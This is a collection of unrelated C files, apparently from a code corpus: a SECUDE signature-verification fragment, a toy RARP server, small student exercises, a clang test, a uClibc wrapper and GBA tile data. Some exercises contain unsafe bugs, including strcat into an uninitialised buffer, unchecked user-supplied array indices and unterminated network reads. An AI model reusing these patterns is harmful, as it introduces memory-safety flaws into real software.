modifyrdnarg->tbs = aux_extract_ModifyRDNArgumentTBS_from_ModifyRDNArg(ds_modifyrdnarg);
if(! modifyrdnarg->tbs )
return(- 1);
if ((modifyrdnarg->tbs_DERcode = e_ModifyRDNArgumentTBS(modifyrdnarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ModifyRDNArgumentTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_ModifyRDNArgument(stderr, modifyrdnarg);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (modifyrdnarg->tbs_DERcode, modifyrdnarg->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_ModifyRDNArgument(&modifyrdnarg);
break;
case _ZReadArgumentDataDAS:
ds_readarg = (struct ds_read_arg * )arg;
readarg = (ReadArgument * )malloc(sizeof(ReadArgument));
if(! readarg ) {
aux_add_error(EMALLOC, "readarg", CNULL, 0, proc);
return(- 1);
}
readarg->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! readarg->sig )
return(- 1);
readarg->tbs = aux_extract_ReadArgumentTBS_from_ReadArg(ds_readarg);
if(! readarg->tbs )
return(- 1);
if ((readarg->tbs_DERcode = e_ReadArgumentTBS(readarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ReadArgumentTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_ReadArgument(stderr, readarg);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify(readarg->tbs_DERcode, readarg->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_ReadArgument(&readarg);
break;
case _ZReadResultDataDAS:
ds_readres = (struct ds_read_result * )arg;
readres = (ReadResult * )malloc(sizeof(ReadResult));
if(! readres ) {
aux_add_error(EMALLOC, "readres", CNULL, 0, proc);
return(- 1);
}
readres->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! readres->sig )
return(- 1);
readres->tbs = aux_extract_ReadResultTBS_from_ReadRes(ds_readres);
if(! readres->tbs )
return(- 1);
if ((readres->tbs_DERcode = e_ReadResultTBS(readres->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ReadResultTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_ReadResult(stderr, readres);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify(readres->tbs_DERcode, readres->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_ReadResult(&readres);
break;
case _ZRemoveEntryArgumentDataDAS:
ds_removearg = (struct ds_removeentry_arg * )arg;
removearg = (RemoveArgument * )malloc(sizeof(RemoveArgument));
if(! removearg ) {
aux_add_error(EMALLOC, "removearg", CNULL, 0, proc);
return(- 1);
}
removearg->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! removearg->sig )
return(- 1);
removearg->tbs = aux_extract_RemoveArgumentTBS_from_RemoveArg(ds_removearg);
if(! removearg->tbs )
return(- 1);
if ((removearg->tbs_DERcode = e_RemoveArgumentTBS(removearg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_RemoveArgumentTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_RemoveArgument(stderr, removearg);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (removearg->tbs_DERcode, removearg->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_RemoveArgument(&removearg);
break;
case _ZSearchArgumentDataDAS:
ds_searcharg = (struct ds_search_arg * )arg;
searcharg = (SearchArgument * )malloc(sizeof(SearchArgument));
if(! searcharg ) {
aux_add_error(EMALLOC, "searcharg", CNULL, 0, proc);
return(- 1);
}
searcharg->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! searcharg->sig )
return(- 1);
searcharg->tbs = aux_extract_SearchArgumentTBS_from_SearchArg(ds_searcharg);
if(! searcharg->tbs )
return(- 1);
if ((searcharg->tbs_DERcode = e_SearchArgumentTBS(searcharg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_SearchArgumentTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_SearchArgument(stderr, searcharg);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify(searcharg->tbs_DERcode, searcharg->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_SearchArgument(&searcharg);
break;
case _ZSearchResultDataDAS:
ds_searchres = (struct ds_search_result * )arg;
searchres = (SearchResult * )malloc(sizeof(SearchResult));
if(! searchres ) {
aux_add_error(EMALLOC, "searchres", CNULL, 0, proc);
return(- 1);
}
searchres->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! searchres->sig )
return(- 1);
searchres->tbs = aux_extract_SearchResultTBS_from_SearchRes(ds_searchres);
if(! searchres->tbs )
return(- 1);
if ((searchres->tbs_DERcode = e_SearchResultTBS(searchres->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_SearchResultTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_SearchResult(stderr, searchres);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify(searchres->tbs_DERcode, searchres->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_SearchResult(&searchres);
break;
} /* switch */
build_IF_Name(&pe, 1, 0, NULLCP, or_cert->usercertificate->tbs->subject);
* nameptr = dn_dec(pe);
if (pe)
pe_free(pe);
aux_free_Certificates(&or_cert);
return(rc);
}
struct certificate_list *secude_mkpath()
{
Certificates * or_cert;
char * proc = "secude_mkpath";
if(! certlist){
or_cert = af_pse_get_Certificates(SIGNATURE, NULLDNAME);
certlist = aux_SECUDEocert2QUIPUcertlist(or_cert);
}
return (certlist);
}
struct encrypted *secudeencrypted()
{
}
int secudedecrypted()
{
}
struct Nonce *secudemknonce()
{
struct Nonce * ret;
BitString * random_bstr;
struct alg_id * quipu_alg;
PE pe;
int i, nob, result;
char * proc = "secudemknonce";
if((ret = (struct Nonce * )malloc(sizeof(struct Nonce))) == (struct Nonce * )0) {
aux_add_error(EMALLOC, "ret", CNULL, 0, proc);
return((struct Nonce * )0);
}
random_bstr = sec_random_bstr(64);
ret->non_r1.n_bits = random_bstr->nbits;
nob = ret->non_r1.n_bits / 8;
if(ret->non_r1.n_bits % 8 )
nob++;
if((ret->non_r1.value = (char *)malloc(nob)) == (char * )0 ) {
aux_add_error(EMALLOC, "ret->non_r1.value", CNULL, 0, proc);
return((struct Nonce * )0);
}
for(i = 0; i < nob; i++) {
ret->non_r1.value[i] = random_bstr->bits[i];
}
aux_free_BitString(&random_bstr);
ret->non_r2.n_bits = 0;
ret->non_r2.value = CNULL;
ret->non_time1 = get_date_of_expiry();
ret->non_time2 = CNULL;
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
pe = AlgId_enc(sig_alg);
result = decode_AF_AlgorithmIdentifier (pe, 0, NULLIP, NULLVP, &quipu_alg);
pe_free(pe);
if (result == NOTOK) {
aux_add_error(EDECODE, "ret", CNULL, 0, proc);
return((struct Nonce * )0);
}
alg_cpy(&(ret->non_alg), quipu_alg);
return (ret);
}
int secudecknonce(nonce)
struct Nonce *nonce;
{
char * proc = "secudecknonce";
return 0;
}
#endif
#else
/* dummy */
secude_int_dummy()
{
return(0);
}
#endif
|
the_stack_data/70571.c | //RARP Server
/*----------------------------------------------------------*/
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
/*----------------------------------------------------------*/
int main(int argc, char **argv)
{
char ipAddress[100][1000], macAddress[100][1000];
socklen_t len;
struct sockaddr_in serverAddress, clientAddress;
char buffer[1000];
int sockFd, connectionFd, length;
int i;
int found = 0;
/*----------------------------------------------------------*/
printf("\n\n\t\t\t RARP SERVER\n\t\t\t ---- ------");
sockFd = socket(AF_INET, SOCK_STREAM, 0);
if(sockFd < 0)
{
perror("\n\n\t\t Socket Not Created!");
return 0;
}
bzero(&serverAddress, sizeof(serverAddress));
serverAddress.sin_family = AF_INET;
serverAddress.sin_addr.s_addr = INADDR_ANY;
serverAddress.sin_port = htons(5000);
bind(sockFd, (struct sockaddr *)&serverAddress, sizeof(serverAddress));
listen(sockFd, 0);
len = sizeof(clientAddress);
printf("\n\n\t\t Enter number of entries: ");
scanf("%d", &length);
for(i = 1; i <= length; i++)
{
printf("\n\t Enter IP and MAC of Entry %d: ", i);
scanf("%s %s", &ipAddress[i], &macAddress[i]);
}
connectionFd = accept(sockFd, (struct sockaddr *)&clientAddress, &len);
while(1)
{
read(connectionFd, buffer, sizeof(buffer));
if(strcmp(buffer, "Goodbye") == 0)
{
printf("\n\n\t\t Client Terminated!");
break;
}
printf("\n\n\t\t Client Requested IP for MAC: %s", buffer);
for(i = 1; i <= length; i++)
{
if(strcmp(buffer, macAddress[i]) == 0)
{
found = 1;
strcpy(buffer, ipAddress[i]);
break;
}
}
if(found != 1)
{
strcpy(buffer, "\n\n\t\t No Such MAC found!");
}
write(connectionFd, buffer, sizeof(buffer));
found = 0;
}
//close the socket
close(connectionFd);
close(sockFd);
} |
the_stack_data/407.c | /*Age Calculator (C program to calculate age).*/
#include <stdio.h>
#include <time.h>
/*check given year is leap year or not*/
int isLeapYear(int year, int mon)
{
int flag = 0;
if (year % 100 == 0)
{
if (year % 400 == 0)
{
if (mon == 2)
{
flag = 1;
}
}
}
else if (year % 4 == 0)
{
if (mon == 2)
{
flag = 1;
}
}
return (flag);
}
int main()
{
int DaysInMon[] = {31, 28, 31, 30, 31, 30,
31, 31, 30, 31, 30, 31};
int days, month, year;
char dob[100];
time_t ts;
struct tm *ct;
/* enter date of birth */
printf("Enter your date of birth (DD/MM/YYYY): ");
scanf("%d/%d/%d",&days,&month, &year);
/*get current date.*/
ts = time(NULL);
ct = localtime(&ts);
printf("Current Date: %d/%d/%d\n",
ct->tm_mday, ct->tm_mon + 1, ct->tm_year + 1900);
days = DaysInMon[month - 1] - days + 1;
/* leap year checking*/
if (isLeapYear(year, month))
{
days = days + 1;
}
/* calculating age in no of days, years and months */
days = days + ct->tm_mday;
month = (12 - month) + (ct->tm_mon);
year = (ct->tm_year + 1900) - year - 1;
/* checking for leap year feb - 29 days */
if (isLeapYear((ct->tm_year + 1900), (ct->tm_mon + 1)))
{
if (days >= (DaysInMon[ct->tm_mon] + 1))
{
days = days - (DaysInMon[ct->tm_mon] + 1);
month = month + 1;
}
}
else if (days >= DaysInMon[ct->tm_mon])
{
days = days - (DaysInMon[ct->tm_mon]);
month = month + 1;
}
if (month >= 12)
{
year = year + 1;
month = month - 12;
}
/* print age */
printf("\n## Hey you are %d years %d months and %d days old. ##\n", year, month, days);
return 0;
}
|
the_stack_data/15761791.c | #include <stdio.h>
#include <string.h>
const int _ORIGIN_ = 0;
const char _DELIM_ = ' ';
const char _NEW_LINE_ = '\n';
const char _TAB_ = '\t';
int main( int argc, char *argv[] ) {
char firstDelimFlag = 'F', lastDelimFlag = 'T', gramFile[100], tempChar;
FILE *ipFile, *opFile;
int delimCnt = 0, firstDelimPos, charRead;
if( argc < 3 ) {
printf( "Invalid no of arguments\n" );
printf( "Usage: ./fileSplitter <file to be splitted> <no of grams required>\n" );
return 1;
}
ipFile = fopen( argv[1], "r" );
if ( NULL == ipFile ) {
perror( "Error opening file" );
return 1;
}
strcat( gramFile, argv[1] );
strcat( gramFile, "." );
strcat( gramFile, argv[2] );
opFile = fopen( gramFile, "w" );
if ( NULL == ipFile ) {
perror( "Error opening file" );
return 1;
}
const int gramLimit = atoi( argv[2] );
while ( !feof( ipFile ) ){
charRead = fgetc( ipFile );
if( EOF == charRead )
break;
if ( ( _DELIM_ == charRead ) || ( _NEW_LINE_ == charRead ) || ( _TAB_ == charRead ) ) {
tempChar = fgetc( ipFile );
while ( ( tempChar == _NEW_LINE_ ) || ( tempChar == _DELIM_ ) || ( tempChar == _TAB_ ) ) {
tempChar = fgetc( ipFile );
if( EOF == tempChar )
break;
}
if( EOF == tempChar )
break;
fseek ( ipFile, ftell ( ipFile ) - 1, _ORIGIN_ );
if( ( _NEW_LINE_ == charRead ) || ( _TAB_ == charRead ) )
charRead = _DELIM_;
if( _DELIM_ == charRead ) {
if ( 'F' == firstDelimFlag ){
firstDelimPos = ftell( ipFile );
firstDelimFlag = 'T';
}
++delimCnt;
if ( delimCnt == gramLimit ){
fseek( ipFile, firstDelimPos, _ORIGIN_ );
firstDelimFlag = 'F';
charRead = _NEW_LINE_;
delimCnt = 0;
}
}
}
fputc( charRead, opFile );
}
fclose(ipFile);
fclose(opFile);
return 0;
}
|
the_stack_data/20939.c | // RUN: %clang_cc1 -triple x86_64-pc-windows-msvc18.0.0 -fcoroutines-ts -emit-llvm %s -o - -verify
void f(void) {
__builtin_coro_alloc(); // expected-error {{this builtin expect that __builtin_coro_id}}
__builtin_coro_begin(0); // expected-error {{this builtin expect that __builtin_coro_id}}
__builtin_coro_free(0); // expected-error {{this builtin expect that __builtin_coro_id}}
__builtin_coro_id(32, 0, 0, 0);
__builtin_coro_id(32, 0, 0, 0); // expected-error {{only one __builtin_coro_id}}
}
|
the_stack_data/141542.c | /*
Crear un programa que permita a un usuario jugar a hundir la flota de manera simple, el usuario tendra 2 oportunidades. Use matrices.
------------------------------Resuelto por pasos--------------------------------
1) Crear un vector de 2 filas y 3 columnas
2) Inicializar el vector con 2 'O' y el resto de posiciones las colocamos a 'X'
a) ejemplo de la matriz:
*)|_X_|_O_|
|_O_|_X_|
|_X_|_X_|
b) Como llevarlo a codigo
*) char mat[3][2]
*) mat[0][0] = "X"
*) mat[0][1] = "O"
*) mat[1][0] = "O"
*) mat[1][1] = "X"
*) mat[2][0] = "X"
*) mat[2][1] = "X"
3) Declarar 2 variables que almacenen la fila y la columna ingresada por el usuario (las variables deberian ser inicializadas al principio de la funcion)
a) llevarlo a codigo
*) int fila, columna
*) printf("fila: ")
*) scanf("%d", &fila)
*) repetir con columna
b) Al usuario le pedimos que introduzca un número de fila y columna, pero nosotros tenemos que traducirlo al lenguaje de tablas; es decir, restarle 1 a las filas y columnas, pues a la primera se accede con [0].
*) mat[-1][-1]
4) Mostrar el resultado por pantalla!
*/
#include <stdio.h>
#define FILL 2
#define COLUMNA 3
int main() {
int fila, colum;
char mat[COLUMNA][FILL];
mat[0][0] = 'X';
mat[0][1] = 'O';
mat[1][0] = 'O';
mat[1][1] = 'X';
mat[2][0] = 'X';
mat[2][1] = 'X';
printf("Elige una fila: ");
scanf("%d", &fila);
printf("Elige una columna: ");
scanf("%d", &colum);
printf("En la fila %d, columna %d, encontramos: %c\n", fila, colum, mat[fila-1][colum-1]);
printf("Elige una fila: ");
scanf("%d", &fila);
printf("Elige una columna: ");
scanf("%d", &colum);
printf("En la fila %d, columna %d, encontramos: %c\n", fila, colum, mat[fila-1][colum-1]);
return 0;
} |
the_stack_data/93888435.c | /* Copyright (C) 2002, 2003, 2004, 2005, 2006 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, write to the Free
Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307 USA. */
#include <features.h>
#ifdef __USE_GNU
#include <sched.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <string.h>
#include <sys/param.h>
#if defined __NR_sched_getaffinity
#define __NR___syscall_sched_getaffinity __NR_sched_getaffinity
static __inline__ _syscall3(int, __syscall_sched_getaffinity, __kernel_pid_t, pid,
size_t, cpusetsize, cpu_set_t *, cpuset)
int sched_getaffinity(pid_t pid, size_t cpusetsize, cpu_set_t *cpuset)
{
int res = (__syscall_sched_getaffinity(pid, MIN(INT_MAX, cpusetsize),
cpuset));
if (res != -1) {
/* Clean the rest of the memory the kernel didn't do. */
memset ((char *) cpuset + res, '\0', cpusetsize - res);
res = 0;
}
return res;
}
#endif
#endif
|
the_stack_data/668687.c | /*
// Sample code to perform I/O:
#include <stdio.h>
int main(){
int num;
scanf("%d", &num); // Reading input from STDIN
printf("Input number is %d.\n", num); // Writing output to STDOUT
}
// Warning: Printing unwanted or ill-formatted data to output will cause the test cases to fail
*/
// Write your code here
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int fillzeros(int num)
{
int power = 1;
while(num > 0)
{
num = num/2;
power *= 2;
}
return power;
}
void build(int tree[],int num,int n)
{
for(int i = 0;i < n;i++)
{
if(i < num)
{
tree[n + i - 1] = 1;
}
else
{
tree[n + i - 1] = 0;
}
}
for(int i = n - 2;i >= 0;i--)
{
tree[i] = tree[2*i + 1] + tree[2*i + 2];
}
}
void printtree(int arr[],int n)
{
for(int i = 0;i < n;i++)
{
printf("%d ",arr[i]);
}
printf("\n");
}
void update(int tree[],int n,int index)
{
if(tree[n + index - 1] == 0)
{
return ;
}
tree[n + index - 1] = 0;
int parent = ((n + index - 2))/2;
while(parent > 0)
{
tree[parent] -= 1;
parent = (parent - 1)/2;
}
tree[0] -= 1;
}
int kthone(int tree[],int n,int k,int start,int end,int root)
{
if(k > tree[root] || start < 0 || end > n - 1)
{
return -1;
}
else if(k == tree[root] && start == end)
{
return end;
}
int mid = (start + end)/2;
if(k > tree[2*root + 1])
{
int right = kthone(tree,n,k - tree[2*root+1],mid+1,end,2*root+2);
return right;
}
else
{
int left = kthone(tree,n,k,start,mid,2*root+1);
return left;
}
}
int main()
{
int num;
scanf("%d",&num);
int n = fillzeros(num);
int *tree = malloc(sizeof(int)*(4*n));
build(tree,num,n);
//printtree(tree,2*n-1);
int queries;
scanf("%d",&queries);
while(queries--)
{
int query;
scanf("%d",&query);
if(query == 0)
{
int x;
scanf("%d",&x);
update(tree,n,x - 1);
//printtree(tree,2*n - 1);
}
else
{
int x;
scanf("%d",&x);
int index = kthone(tree,n,x,0,n-1,0);
if(index != -1)
{
printf("%d\n",index + 1);
}
else
{
printf("-1\n");
}
}
}
return 0;
}
|
the_stack_data/198581166.c | int foo (int x )
{
#pragma omp task shared(x) mergeable
{
x++;
}
#pragma omp taskwait
return x;
}
|
the_stack_data/15762801.c | #include<stdio.h>
#include<stdlib.h>
main() {
int count = 1;
while (count <= 10) {
printf("%i", count);
count = count + 1;
}
system("pause");
}
|
the_stack_data/37636678.c |
//{{BLOCK(WaterfallStream2x16)
//======================================================================
//
// WaterfallStream2x16, 16x512@2,
// + 128 tiles not compressed
// + regular map (flat), not compressed, 2x64
// Total size: 2064 + 256 = 2320
//
// Exported by Cearn's GBA Image Transmogrifier, v0.8.6
// ( http://www.coranac.com/projects/#grit )
//
//======================================================================
const unsigned int WaterfallStream2x16Tiles[516] __attribute__((aligned(4)))=
{
0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xAAAFAAAB,0xAAAFAAAF,0xA557AA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAB556F,0xAAABAAAB,
0xF555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAB,0xAAAFAAAF,0xA557AA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAB556F,0xAAABAAAB,
0xF555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAB,0xAAAFAAAF,0xA557AA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAB556F,0xAAABAAAB,
0xF555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAB,0xAAAFAAAF,0xA557AA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAB556F,0xAAABAAAB,
0xF555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAB,0xAAAFAAAF,0xA557AA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAB556F,0xAAABAAAB,
0xF555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAB,0xAAAFAAAF,0xA557AA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAB556F,0xAAABAAAB,
0xF555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAB,0xAAAFAAAF,0xA557AA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAB556F,0xAAABAAAB,
0xF555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAB,0xAAAFAAAF,0xA557AA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAB556F,0xAAABAAAB,
0xF555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x5AAB556F,0xAAABAAAB,0xAAAFAAAB,0xAAABAAAF,
0xFAA5F955,0xFAAAFAAA,0xEAAAFAAA,0xFAAAEAAA,0xA55FAA97,0x555F555F,0x555F555F,0x555F555F,
0xD55AF6AA,0xD555D555,0xF555D555,0xF555F555,0x555F555F,0x555F555F,0x5AAF556F,0xAAABAAAB,
0xD555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAF,0xAAABAAAF,0xA55FAA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAF556F,0xAAABAAAB,
0xD555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAF,0xAAABAAAF,0xA55FAA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAF556F,0xAAABAAAB,
0xD555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAF,0xAAABAAAF,0xA55FAA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAF556F,0xAAABAAAB,
0xD555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAF,0xAAABAAAF,0xA55FAA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAF556F,0xAAABAAAB,
0xD555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAF,0xAAABAAAF,0xA55FAA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAF556F,0xAAABAAAB,
0xD555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAF,0xAAABAAAF,0xA55FAA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAF556F,0xAAABAAAB,
0xD555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAF,0xAAABAAAF,0xA55FAA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,0x555F555F,0x555F555F,0x5AAF556F,0xAAABAAAB,
0xD555D555,0xF555F555,0xFAA5F955,0xFAAAFAAA,0xAAAFAAAF,0xAAABAAAF,0xA55FAA97,0x555F555F,
0xEAAAFAAA,0xFAAAEAAA,0xF55AF6AA,0xD555D555,
};
const unsigned short WaterfallStream2x16Map[128] __attribute__((aligned(4)))=
{
0x0000,0x0001,0x0002,0x0003,0x0004,0x0005,0x0006,0x0007,
0x0008,0x0009,0x000a,0x000b,0x000c,0x000d,0x000e,0x000f,
0x0010,0x0011,0x0012,0x0013,0x0014,0x0015,0x0016,0x0017,
0x0018,0x0019,0x001a,0x001b,0x001c,0x001d,0x001e,0x001f,
0x0020,0x0021,0x0022,0x0023,0x0024,0x0025,0x0026,0x0027,
